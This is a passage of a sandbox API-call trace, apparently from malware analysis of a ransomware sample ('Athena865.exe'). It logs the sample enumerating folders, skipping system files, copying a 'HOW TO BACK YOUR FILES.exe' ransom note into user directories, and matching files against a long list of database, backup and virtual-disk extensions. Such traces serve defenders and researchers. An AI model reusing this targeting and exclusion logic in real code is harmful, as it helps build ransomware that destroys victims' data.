lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.550] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0101.550] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf284e260, ftCreationTime.dwHighDateTime=0x1d4d23d, ftLastAccessTime.dwLowDateTime=0xc5d56560, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc5d56560, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.550] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.550] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.550] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0101.550] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0101.550] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5d56560, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc5d56560, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0101.550] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0101.550] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x867f5cf0, ftCreationTime.dwHighDateTime=0x1d4d46b, ftLastAccessTime.dwLowDateTime=0x75c13540, ftLastAccessTime.dwHighDateTime=0x1d4d250, ftLastWriteTime.dwLowDateTime=0x75c13540, ftLastWriteTime.dwHighDateTime=0x1d4d250, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QRfNNELwdy9r5L", cAlternateFileName="QRFNNE~1")) returned 1 [0101.551] lstrcmpiW (lpString1="QRfNNELwdy9r5L", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.551] lstrcmpiW (lpString1="QRfNNELwdy9r5L", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.551] lstrcmpiW (lpString1="QRfNNELwdy9r5L", lpString2=".") returned 1 [0101.551] lstrcmpiW (lpString1="QRfNNELwdy9r5L", lpString2="..") returned 1 [0101.551] lstrcmpiW (lpString1="QRfNNELwdy9r5L", lpString2="windows") returned -1 [0101.551] lstrcmpiW (lpString1="QRfNNELwdy9r5L", lpString2="bootmgr") returned 1 [0101.551] lstrcmpiW (lpString1="QRfNNELwdy9r5L", lpString2="temp") returned -1 [0101.551] lstrcmpiW (lpString1="QRfNNELwdy9r5L", lpString2="pagefile.sys") returned 1 [0101.551] lstrcmpiW (lpString1="QRfNNELwdy9r5L", lpString2="boot") returned 1 [0101.551] lstrcmpiW (lpString1="QRfNNELwdy9r5L", lpString2="ids.txt") returned 1 [0101.551] lstrcmpiW (lpString1="QRfNNELwdy9r5L", lpString2="ntuser.dat") returned 1 [0101.551] lstrcmpiW (lpString1="QRfNNELwdy9r5L", lpString2="perflogs") returned 1 [0101.551] lstrcmpiW (lpString1="QRfNNELwdy9r5L", lpString2="MSBuild") returned 1 [0101.551] lstrlenW (lpString="QRfNNELwdy9r5L") returned 14 [0101.551] lstrcpyW (in: lpString1=0x241e8cc, lpString2="QRfNNELwdy9r5L" | out: lpString1="QRfNNELwdy9r5L") returned="QRfNNELwdy9r5L" [0101.551] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c428 [0101.551] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa2) returned 0x5128d8 [0101.551] lstrcatW (in: lpString1="QRfNNELwdy9r5L", lpString2="\\" | out: lpString1="QRfNNELwdy9r5L\\") returned="QRfNNELwdy9r5L\\" [0101.551] lstrcatW (in: lpString1="QRfNNELwdy9r5L\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="QRfNNELwdy9r5L\\HOW TO BACK YOUR FILES.exe") returned="QRfNNELwdy9r5L\\HOW TO BACK YOUR FILES.exe" [0101.551] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\ES3F3HYy\\QRfNNELwdy9r5L\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\es3f3hyy\\qrfnnelwdy9r5l\\how to back your files.exe"), bFailIfExists=1) returned 1 [0101.554] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34d26370, ftCreationTime.dwHighDateTime=0x1d4cd09, ftLastAccessTime.dwLowDateTime=0x1ac67d0, ftLastAccessTime.dwHighDateTime=0x1d4d064, ftLastWriteTime.dwLowDateTime=0x1ac67d0, ftLastWriteTime.dwHighDateTime=0x1d4d064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rM wPt", cAlternateFileName="RMWPT~1")) returned 1 [0101.554] lstrcmpiW (lpString1="rM wPt", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.554] lstrcmpiW (lpString1="rM wPt", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.554] lstrcmpiW (lpString1="rM wPt", lpString2=".") returned 1 [0101.554] lstrcmpiW (lpString1="rM wPt", lpString2="..") returned 1 [0101.554] lstrcmpiW (lpString1="rM wPt", lpString2="windows") returned -1 [0101.554] lstrcmpiW (lpString1="rM wPt", lpString2="bootmgr") returned 1 [0101.554] lstrcmpiW (lpString1="rM wPt", lpString2="temp") returned -1 [0101.554] lstrcmpiW (lpString1="rM wPt", lpString2="pagefile.sys") returned 1 [0101.554] lstrcmpiW (lpString1="rM wPt", lpString2="boot") returned 1 [0101.554] lstrcmpiW (lpString1="rM wPt", lpString2="ids.txt") returned 1 [0101.554] lstrcmpiW (lpString1="rM wPt", lpString2="ntuser.dat") returned 1 [0101.555] lstrcmpiW (lpString1="rM wPt", lpString2="perflogs") returned 1 [0101.555] lstrcmpiW (lpString1="rM wPt", lpString2="MSBuild") returned 1 [0101.555] lstrlenW (lpString="rM wPt") returned 6 [0101.555] lstrcpyW (in: lpString1=0x241e8cc, lpString2="rM wPt" | out: lpString1="rM wPt") returned="rM wPt" [0101.555] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c458 [0101.555] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x92) returned 0x53d2c0 [0101.555] lstrcatW (in: lpString1="rM wPt", lpString2="\\" | out: lpString1="rM wPt\\") returned="rM wPt\\" [0101.555] lstrcatW (in: lpString1="rM wPt\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="rM wPt\\HOW TO BACK YOUR FILES.exe") returned="rM wPt\\HOW TO BACK YOUR FILES.exe" [0101.555] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\ES3F3HYy\\rM wPt\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\es3f3hyy\\rm wpt\\how to back your files.exe"), bFailIfExists=1) returned 1 [0101.557] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcf66b30, ftCreationTime.dwHighDateTime=0x1d4cff2, ftLastAccessTime.dwLowDateTime=0x6f049ec0, ftLastAccessTime.dwHighDateTime=0x1d4cf64, ftLastWriteTime.dwLowDateTime=0x6f049ec0, ftLastWriteTime.dwHighDateTime=0x1d4cf64, nFileSizeHigh=0x0, nFileSizeLow=0x9d16, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="W4EwJ45n_ pZ8_.doc", cAlternateFileName="W4EWJ4~1.DOC")) returned 1 [0101.557] lstrcmpiW (lpString1="W4EwJ45n_ pZ8_.doc", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.557] lstrcmpiW (lpString1="W4EwJ45n_ pZ8_.doc", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.557] lstrcmpiW (lpString1="W4EwJ45n_ pZ8_.doc", lpString2=".") returned 1 [0101.557] lstrcmpiW (lpString1="W4EwJ45n_ pZ8_.doc", lpString2="..") returned 1 [0101.557] lstrcmpiW (lpString1="W4EwJ45n_ pZ8_.doc", lpString2="windows") returned -1 [0101.557] lstrcmpiW (lpString1="W4EwJ45n_ pZ8_.doc", lpString2="bootmgr") returned 1 [0101.557] lstrcmpiW (lpString1="W4EwJ45n_ pZ8_.doc", lpString2="temp") returned 1 [0101.557] lstrcmpiW (lpString1="W4EwJ45n_ pZ8_.doc", lpString2="pagefile.sys") returned 1 [0101.557] lstrcmpiW (lpString1="W4EwJ45n_ pZ8_.doc", lpString2="boot") returned 1 [0101.557] lstrcmpiW (lpString1="W4EwJ45n_ pZ8_.doc", lpString2="ids.txt") returned 1 [0101.557] lstrcmpiW (lpString1="W4EwJ45n_ pZ8_.doc", lpString2="ntuser.dat") returned 1 [0101.557] lstrcmpiW (lpString1="W4EwJ45n_ pZ8_.doc", lpString2="perflogs") returned 1 [0101.557] lstrcmpiW (lpString1="W4EwJ45n_ pZ8_.doc", lpString2="MSBuild") returned 1 [0101.557] lstrlenW (lpString="W4EwJ45n_ pZ8_.doc") returned 18 [0101.557] lstrcpyW (in: lpString1=0x241e8cc, lpString2="W4EwJ45n_ pZ8_.doc" | out: lpString1="W4EwJ45n_ pZ8_.doc") returned="W4EwJ45n_ pZ8_.doc" [0101.557] lstrlenW (lpString="W4EwJ45n_ pZ8_.doc") returned 18 [0101.558] lstrlenW (lpString="Athena865") returned 9 [0101.558] lstrcmpiW (lpString1=" pZ8_.doc", lpString2="Athena865") returned -1 [0101.558] lstrlenW (lpString=".dll") returned 4 [0101.558] lstrcmpiW (lpString1="W4EwJ45n_ pZ8_.doc", lpString2=".dll") returned 1 [0101.558] lstrlenW (lpString=".lnk") returned 4 [0101.558] lstrcmpiW (lpString1="W4EwJ45n_ pZ8_.doc", lpString2=".lnk") returned 1 [0101.558] lstrlenW (lpString=".ini") returned 4 [0101.558] lstrcmpiW (lpString1="W4EwJ45n_ pZ8_.doc", lpString2=".ini") returned 1 [0101.558] lstrlenW (lpString=".sys") returned 4 [0101.558] lstrcmpiW (lpString1="W4EwJ45n_ pZ8_.doc", lpString2=".sys") returned 1 [0101.558] lstrlenW (lpString="W4EwJ45n_ pZ8_.doc") returned 18 [0101.558] lstrlenW (lpString="bak") returned 3 [0101.558] lstrcmpiW (lpString1="doc", lpString2="bak") returned 1 [0101.558] lstrlenW (lpString="ba_") returned 3 [0101.558] lstrcmpiW (lpString1="doc", lpString2="ba_") returned 1 [0101.558] lstrlenW (lpString="dbb") returned 3 [0101.558] lstrcmpiW (lpString1="doc", lpString2="dbb") returned 1 [0101.558] lstrlenW (lpString="vmdk") returned 4 [0101.558] lstrcmpiW (lpString1=".doc", lpString2="vmdk") returned -1 [0101.558] lstrlenW (lpString="rar") returned 3 [0101.558] lstrcmpiW (lpString1="doc", lpString2="rar") returned -1 [0101.558] lstrlenW (lpString="zip") returned 3 [0101.558] lstrcmpiW (lpString1="doc", lpString2="zip") returned -1 [0101.558] lstrlenW (lpString="tgz") returned 3 [0101.558] lstrcmpiW (lpString1="doc", lpString2="tgz") returned -1 [0101.558] lstrlenW (lpString="vbox") returned 4 [0101.558] lstrcmpiW (lpString1=".doc", lpString2="vbox") returned -1 [0101.558] lstrlenW (lpString="vdi") returned 3 [0101.559] lstrcmpiW (lpString1="doc", lpString2="vdi") returned -1 [0101.559] lstrlenW (lpString="vhd") returned 3 [0101.559] lstrcmpiW (lpString1="doc", lpString2="vhd") returned -1 [0101.559] lstrlenW (lpString="vhdx") returned 4 [0101.559] lstrcmpiW (lpString1=".doc", lpString2="vhdx") returned -1 [0101.559] lstrlenW (lpString="avhd") returned 4 [0101.559] lstrcmpiW (lpString1=".doc", lpString2="avhd") returned -1 [0101.559] lstrlenW (lpString="db") returned 2 [0101.559] lstrcmpiW (lpString1="oc", lpString2="db") returned 1 [0101.559] lstrlenW (lpString="db2") returned 3 [0101.559] lstrcmpiW (lpString1="doc", lpString2="db2") returned 1 [0101.559] lstrlenW (lpString="db3") returned 3 [0101.559] lstrcmpiW (lpString1="doc", lpString2="db3") returned 1 [0101.559] lstrlenW (lpString="dbf") returned 3 [0101.559] lstrcmpiW (lpString1="doc", lpString2="dbf") returned 1 [0101.559] lstrlenW (lpString="mdf") returned 3 [0101.559] lstrcmpiW (lpString1="doc", lpString2="mdf") returned -1 [0101.559] lstrlenW (lpString="mdb") returned 3 [0101.559] lstrcmpiW (lpString1="doc", lpString2="mdb") returned -1 [0101.559] lstrlenW (lpString="sql") returned 3 [0101.559] lstrcmpiW (lpString1="doc", lpString2="sql") returned -1 [0101.559] lstrlenW (lpString="sqlite") returned 6 [0101.559] lstrcmpiW (lpString1="8_.doc", lpString2="sqlite") returned -1 [0101.559] lstrlenW (lpString="sqlite3") returned 7 [0101.559] lstrcmpiW (lpString1="Z8_.doc", lpString2="sqlite3") returned 1 [0101.559] lstrlenW (lpString="sqlitedb") returned 8 [0101.559] lstrcmpiW (lpString1="pZ8_.doc", lpString2="sqlitedb") returned -1 [0101.559] lstrlenW (lpString="xml") returned 3 [0101.559] lstrcmpiW (lpString1="doc", lpString2="xml") returned -1 [0101.559] lstrlenW (lpString="$er") returned 3 [0101.559] lstrcmpiW (lpString1="doc", lpString2="$er") returned 1 [0101.560] lstrlenW (lpString="4dd") returned 3 [0101.560] lstrcmpiW (lpString1="doc", lpString2="4dd") returned 1 [0101.560] lstrlenW (lpString="4dl") returned 3 [0101.560] lstrcmpiW (lpString1="doc", lpString2="4dl") returned 1 [0101.560] lstrlenW (lpString="^^^") returned 3 [0101.560] lstrcmpiW (lpString1="doc", lpString2="^^^") returned 1 [0101.560] lstrlenW (lpString="abs") returned 3 [0101.560] lstrcmpiW (lpString1="doc", lpString2="abs") returned 1 [0101.560] lstrlenW (lpString="abx") returned 3 [0101.560] lstrcmpiW (lpString1="doc", lpString2="abx") returned 1 [0101.560] lstrlenW (lpString="accdb") returned 5 [0101.560] lstrcmpiW (lpString1="_.doc", lpString2="accdb") returned -1 [0101.560] lstrlenW (lpString="accdc") returned 5 [0101.560] lstrcmpiW (lpString1="_.doc", lpString2="accdc") returned -1 [0101.560] lstrlenW (lpString="accde") returned 5 [0101.560] lstrcmpiW (lpString1="_.doc", lpString2="accde") returned -1 [0101.560] lstrlenW (lpString="accdr") returned 5 [0101.560] lstrcmpiW (lpString1="_.doc", lpString2="accdr") returned -1 [0101.560] lstrlenW (lpString="accdt") returned 5 [0101.560] lstrcmpiW (lpString1="_.doc", lpString2="accdt") returned -1 [0101.560] lstrlenW (lpString="accdw") returned 5 [0101.560] lstrcmpiW (lpString1="_.doc", lpString2="accdw") returned -1 [0101.560] lstrlenW (lpString="accft") returned 5 [0101.560] lstrcmpiW (lpString1="_.doc", lpString2="accft") returned -1 [0101.560] lstrlenW (lpString="adb") returned 3 [0101.560] lstrcmpiW (lpString1="doc", lpString2="adb") returned 1 [0101.560] lstrlenW (lpString="adb") returned 3 [0101.560] lstrcmpiW (lpString1="doc", lpString2="adb") returned 1 [0101.560] lstrlenW (lpString="ade") returned 3 [0101.560] lstrcmpiW (lpString1="doc", lpString2="ade") returned 1 [0101.560] lstrlenW (lpString="adf") returned 3 [0101.560] lstrcmpiW (lpString1="doc", lpString2="adf") returned 1 [0101.560] lstrlenW (lpString="adn") returned 3 [0101.561] lstrcmpiW (lpString1="doc", lpString2="adn") returned 1 [0101.561] lstrlenW (lpString="adp") returned 3 [0101.561] lstrcmpiW (lpString1="doc", lpString2="adp") returned 1 [0101.561] lstrlenW (lpString="alf") returned 3 [0101.561] lstrcmpiW (lpString1="doc", lpString2="alf") returned 1 [0101.561] lstrlenW (lpString="ask") returned 3 [0101.561] lstrcmpiW (lpString1="doc", lpString2="ask") returned 1 [0101.561] lstrlenW (lpString="btr") returned 3 [0101.561] lstrcmpiW (lpString1="doc", lpString2="btr") returned 1 [0101.561] lstrlenW (lpString="cat") returned 3 [0101.561] lstrcmpiW (lpString1="doc", lpString2="cat") returned 1 [0101.561] lstrlenW (lpString="cdb") returned 3 [0101.561] lstrcmpiW (lpString1="doc", lpString2="cdb") returned 1 [0101.561] lstrlenW (lpString="ckp") returned 3 [0101.561] lstrcmpiW (lpString1="doc", lpString2="ckp") returned 1 [0101.561] lstrlenW (lpString="cma") returned 3 [0101.561] lstrcmpiW (lpString1="doc", lpString2="cma") returned 1 [0101.561] lstrlenW (lpString="cpd") returned 3 [0101.561] lstrcmpiW (lpString1="doc", lpString2="cpd") returned 1 [0101.561] lstrlenW (lpString="dacpac") returned 6 [0101.561] lstrcmpiW (lpString1="8_.doc", lpString2="dacpac") returned -1 [0101.561] lstrlenW (lpString="dad") returned 3 [0101.561] lstrcmpiW (lpString1="doc", lpString2="dad") returned 1 [0101.561] lstrlenW (lpString="dadiagrams") returned 10 [0101.561] lstrcmpiW (lpString1="_ pZ8_.doc", lpString2="dadiagrams") returned -1 [0101.561] lstrlenW (lpString="daschema") returned 8 [0101.561] lstrcmpiW (lpString1="pZ8_.doc", lpString2="daschema") returned 1 [0101.561] lstrlenW (lpString="db-journal") returned 10 [0101.561] lstrcmpiW (lpString1="_ pZ8_.doc", lpString2="db-journal") returned -1 [0101.561] lstrlenW (lpString="db-shm") returned 6 [0101.561] lstrcmpiW (lpString1="8_.doc", lpString2="db-shm") returned -1 [0101.561] lstrlenW (lpString="db-wal") returned 6 [0101.562] lstrcmpiW (lpString1="8_.doc", lpString2="db-wal") returned -1 [0101.562] lstrlenW (lpString="dbc") returned 3 [0101.562] lstrcmpiW (lpString1="doc", lpString2="dbc") returned 1 [0101.562] lstrlenW (lpString="dbs") returned 3 [0101.562] lstrcmpiW (lpString1="doc", lpString2="dbs") returned 1 [0101.562] lstrlenW (lpString="dbt") returned 3 [0101.562] lstrcmpiW (lpString1="doc", lpString2="dbt") returned 1 [0101.562] lstrlenW (lpString="dbv") returned 3 [0101.562] lstrcmpiW (lpString1="doc", lpString2="dbv") returned 1 [0101.562] lstrlenW (lpString="dbx") returned 3 [0101.562] lstrcmpiW (lpString1="doc", lpString2="dbx") returned 1 [0101.562] lstrlenW (lpString="dcb") returned 3 [0101.562] lstrcmpiW (lpString1="doc", lpString2="dcb") returned 1 [0101.562] lstrlenW (lpString="dct") returned 3 [0101.562] lstrcmpiW (lpString1="doc", lpString2="dct") returned 1 [0101.562] lstrlenW (lpString="dcx") returned 3 [0101.562] lstrcmpiW (lpString1="doc", lpString2="dcx") returned 1 [0101.562] lstrlenW (lpString="ddl") returned 3 [0101.562] lstrcmpiW (lpString1="doc", lpString2="ddl") returned 1 [0101.562] lstrlenW (lpString="dlis") returned 4 [0101.562] lstrcmpiW (lpString1=".doc", lpString2="dlis") returned -1 [0101.562] lstrlenW (lpString="dp1") returned 3 [0101.562] lstrcmpiW (lpString1="doc", lpString2="dp1") returned -1 [0101.562] lstrlenW (lpString="dqy") returned 3 [0101.562] lstrcmpiW (lpString1="doc", lpString2="dqy") returned -1 [0101.562] lstrlenW (lpString="dsk") returned 3 [0101.562] lstrcmpiW (lpString1="doc", lpString2="dsk") returned -1 [0101.562] lstrlenW (lpString="dsn") returned 3 [0101.562] lstrcmpiW (lpString1="doc", lpString2="dsn") returned -1 [0101.562] lstrlenW (lpString="dtsx") returned 4 [0101.562] lstrcmpiW (lpString1=".doc", lpString2="dtsx") returned -1 [0101.562] lstrlenW (lpString="dxl") returned 3 [0101.563] lstrcmpiW (lpString1="doc", lpString2="dxl") returned -1 [0101.563] lstrlenW (lpString="eco") returned 3 [0101.563] lstrcmpiW (lpString1="doc", lpString2="eco") returned -1 [0101.563] lstrlenW (lpString="ecx") returned 3 [0101.563] lstrcmpiW (lpString1="doc", lpString2="ecx") returned -1 [0101.563] lstrlenW (lpString="edb") returned 3 [0101.563] lstrcmpiW (lpString1="doc", lpString2="edb") returned -1 [0101.563] lstrlenW (lpString="epim") returned 4 [0101.563] lstrcmpiW (lpString1=".doc", lpString2="epim") returned -1 [0101.563] lstrlenW (lpString="fcd") returned 3 [0101.563] lstrcmpiW (lpString1="doc", lpString2="fcd") returned -1 [0101.563] lstrlenW (lpString="fdb") returned 3 [0101.563] lstrcmpiW (lpString1="doc", lpString2="fdb") returned -1 [0101.563] lstrlenW (lpString="fic") returned 3 [0101.563] lstrcmpiW (lpString1="doc", lpString2="fic") returned -1 [0101.563] lstrlenW (lpString="flexolibrary") returned 12 [0101.563] lstrcmpiW (lpString1="5n_ pZ8_.doc", lpString2="flexolibrary") returned -1 [0101.563] lstrlenW (lpString="fm5") returned 3 [0101.563] lstrcmpiW (lpString1="doc", lpString2="fm5") returned -1 [0101.563] lstrlenW (lpString="fmp") returned 3 [0101.563] lstrcmpiW (lpString1="doc", lpString2="fmp") returned -1 [0101.563] lstrlenW (lpString="fmp12") returned 5 [0101.563] lstrcmpiW (lpString1="_.doc", lpString2="fmp12") returned -1 [0101.563] lstrlenW (lpString="fmpsl") returned 5 [0101.563] lstrcmpiW (lpString1="_.doc", lpString2="fmpsl") returned -1 [0101.563] lstrlenW (lpString="fol") returned 3 [0101.563] lstrcmpiW (lpString1="doc", lpString2="fol") returned -1 [0101.563] lstrlenW (lpString="fp3") returned 3 [0101.563] lstrcmpiW (lpString1="doc", lpString2="fp3") returned -1 [0101.563] lstrlenW (lpString="fp4") returned 3 [0101.563] lstrcmpiW (lpString1="doc", lpString2="fp4") returned -1 [0101.563] lstrlenW (lpString="fp5") returned 3 [0101.563] lstrcmpiW (lpString1="doc", lpString2="fp5") returned -1 [0101.564] lstrlenW (lpString="fp7") returned 3 [0101.564] lstrcmpiW (lpString1="doc", lpString2="fp7") returned -1 [0101.564] lstrlenW (lpString="fpt") returned 3 [0101.564] lstrcmpiW (lpString1="doc", lpString2="fpt") returned -1 [0101.564] lstrlenW (lpString="frm") returned 3 [0101.564] lstrcmpiW (lpString1="doc", lpString2="frm") returned -1 [0101.564] lstrlenW (lpString="gdb") returned 3 [0101.564] lstrcmpiW (lpString1="doc", lpString2="gdb") returned -1 [0101.564] lstrlenW (lpString="gdb") returned 3 [0101.564] lstrcmpiW (lpString1="doc", lpString2="gdb") returned -1 [0101.564] lstrlenW (lpString="grdb") returned 4 [0101.564] lstrcmpiW (lpString1=".doc", lpString2="grdb") returned -1 [0101.564] lstrlenW (lpString="gwi") returned 3 [0101.564] lstrcmpiW (lpString1="doc", lpString2="gwi") returned -1 [0101.564] lstrlenW (lpString="hdb") returned 3 [0101.564] lstrcmpiW (lpString1="doc", lpString2="hdb") returned -1 [0101.564] lstrlenW (lpString="his") returned 3 [0101.564] lstrcmpiW (lpString1="doc", lpString2="his") returned -1 [0101.564] lstrlenW (lpString="ib") returned 2 [0101.564] lstrcmpiW (lpString1="oc", lpString2="ib") returned 1 [0101.564] lstrlenW (lpString="idb") returned 3 [0101.564] lstrcmpiW (lpString1="doc", lpString2="idb") returned -1 [0101.564] lstrlenW (lpString="ihx") returned 3 [0101.564] lstrcmpiW (lpString1="doc", lpString2="ihx") returned -1 [0101.564] lstrlenW (lpString="itdb") returned 4 [0101.564] lstrcmpiW (lpString1=".doc", lpString2="itdb") returned -1 [0101.564] lstrlenW (lpString="itw") returned 3 [0101.564] lstrcmpiW (lpString1="doc", lpString2="itw") returned -1 [0101.564] lstrlenW (lpString="jet") returned 3 [0101.564] lstrcmpiW (lpString1="doc", lpString2="jet") returned -1 [0101.564] lstrlenW (lpString="jtx") returned 3 [0101.564] lstrcmpiW (lpString1="doc", lpString2="jtx") returned -1 [0101.564] lstrlenW (lpString="kdb") returned 3 [0101.565] lstrcmpiW (lpString1="doc", lpString2="kdb") returned -1 [0101.565] lstrlenW (lpString="kexi") returned 4 [0101.565] lstrcmpiW (lpString1=".doc", lpString2="kexi") returned -1 [0101.565] lstrlenW (lpString="kexic") returned 5 [0101.565] lstrcmpiW (lpString1="_.doc", lpString2="kexic") returned -1 [0101.565] lstrlenW (lpString="kexis") returned 5 [0101.565] lstrcmpiW (lpString1="_.doc", lpString2="kexis") returned -1 [0101.565] lstrlenW (lpString="lgc") returned 3 [0101.565] lstrcmpiW (lpString1="doc", lpString2="lgc") returned -1 [0101.565] lstrlenW (lpString="lwx") returned 3 [0101.565] lstrcmpiW (lpString1="doc", lpString2="lwx") returned -1 [0101.565] lstrlenW (lpString="maf") returned 3 [0101.565] lstrcmpiW (lpString1="doc", lpString2="maf") returned -1 [0101.565] lstrlenW (lpString="maq") returned 3 [0101.565] lstrcmpiW (lpString1="doc", lpString2="maq") returned -1 [0101.565] lstrlenW (lpString="mar") returned 3 [0101.565] lstrcmpiW (lpString1="doc", lpString2="mar") returned -1 [0101.565] lstrlenW (lpString="marshal") returned 7 [0101.565] lstrcmpiW (lpString1="Z8_.doc", lpString2="marshal") returned 1 [0101.565] lstrlenW (lpString="mas") returned 3 [0101.565] lstrcmpiW (lpString1="doc", lpString2="mas") returned -1 [0101.565] lstrlenW (lpString="mav") returned 3 [0101.565] lstrcmpiW (lpString1="doc", lpString2="mav") returned -1 [0101.565] lstrlenW (lpString="maw") returned 3 [0101.565] lstrcmpiW (lpString1="doc", lpString2="maw") returned -1 [0101.565] lstrlenW (lpString="mdbhtml") returned 7 [0101.565] lstrcmpiW (lpString1="Z8_.doc", lpString2="mdbhtml") returned 1 [0101.565] lstrlenW (lpString="mdn") returned 3 [0101.565] lstrcmpiW (lpString1="doc", lpString2="mdn") returned -1 [0101.565] lstrlenW (lpString="mdt") returned 3 [0101.565] lstrcmpiW (lpString1="doc", lpString2="mdt") returned -1 [0101.565] lstrlenW (lpString="mfd") returned 3 [0101.566] lstrcmpiW (lpString1="doc", lpString2="mfd") returned -1 [0101.566] lstrlenW (lpString="mpd") returned 3 [0101.566] lstrcmpiW (lpString1="doc", lpString2="mpd") returned -1 [0101.566] lstrlenW (lpString="mrg") returned 3 [0101.566] lstrcmpiW (lpString1="doc", lpString2="mrg") returned -1 [0101.566] lstrlenW (lpString="mud") returned 3 [0101.566] lstrcmpiW (lpString1="doc", lpString2="mud") returned -1 [0101.566] lstrlenW (lpString="mwb") returned 3 [0101.566] lstrcmpiW (lpString1="doc", lpString2="mwb") returned -1 [0101.566] lstrlenW (lpString="myd") returned 3 [0101.566] lstrcmpiW (lpString1="doc", lpString2="myd") returned -1 [0101.566] lstrlenW (lpString="ndf") returned 3 [0101.566] lstrcmpiW (lpString1="doc", lpString2="ndf") returned -1 [0101.566] lstrlenW (lpString="nnt") returned 3 [0101.566] lstrcmpiW (lpString1="doc", lpString2="nnt") returned -1 [0101.566] lstrlenW (lpString="nrmlib") returned 6 [0101.566] lstrcmpiW (lpString1="8_.doc", lpString2="nrmlib") returned -1 [0101.566] lstrlenW (lpString="ns2") returned 3 [0101.566] lstrcmpiW (lpString1="doc", lpString2="ns2") returned -1 [0101.566] lstrlenW (lpString="ns3") returned 3 [0101.566] lstrcmpiW (lpString1="doc", lpString2="ns3") returned -1 [0101.566] lstrlenW (lpString="ns4") returned 3 [0101.566] lstrcmpiW (lpString1="doc", lpString2="ns4") returned -1 [0101.566] lstrlenW (lpString="nsf") returned 3 [0101.566] lstrcmpiW (lpString1="doc", lpString2="nsf") returned -1 [0101.566] lstrlenW (lpString="nv") returned 2 [0101.566] lstrcmpiW (lpString1="oc", lpString2="nv") returned 1 [0101.566] lstrlenW (lpString="nv2") returned 3 [0101.566] lstrcmpiW (lpString1="doc", lpString2="nv2") returned -1 [0101.566] lstrlenW (lpString="nwdb") returned 4 [0101.566] lstrcmpiW (lpString1=".doc", lpString2="nwdb") returned -1 [0101.566] lstrlenW (lpString="nyf") returned 3 [0101.567] lstrcmpiW (lpString1="doc", lpString2="nyf") returned -1 [0101.567] lstrlenW (lpString="odb") returned 3 [0101.567] lstrcmpiW (lpString1="doc", lpString2="odb") returned -1 [0101.567] lstrlenW (lpString="odb") returned 3 [0101.567] lstrcmpiW (lpString1="doc", lpString2="odb") returned -1 [0101.567] lstrlenW (lpString="oqy") returned 3 [0101.567] lstrcmpiW (lpString1="doc", lpString2="oqy") returned -1 [0101.567] lstrlenW (lpString="ora") returned 3 [0101.567] lstrcmpiW (lpString1="doc", lpString2="ora") returned -1 [0101.567] lstrlenW (lpString="orx") returned 3 [0101.567] lstrcmpiW (lpString1="doc", lpString2="orx") returned -1 [0101.567] lstrlenW (lpString="owc") returned 3 [0101.567] lstrcmpiW (lpString1="doc", lpString2="owc") returned -1 [0101.567] lstrlenW 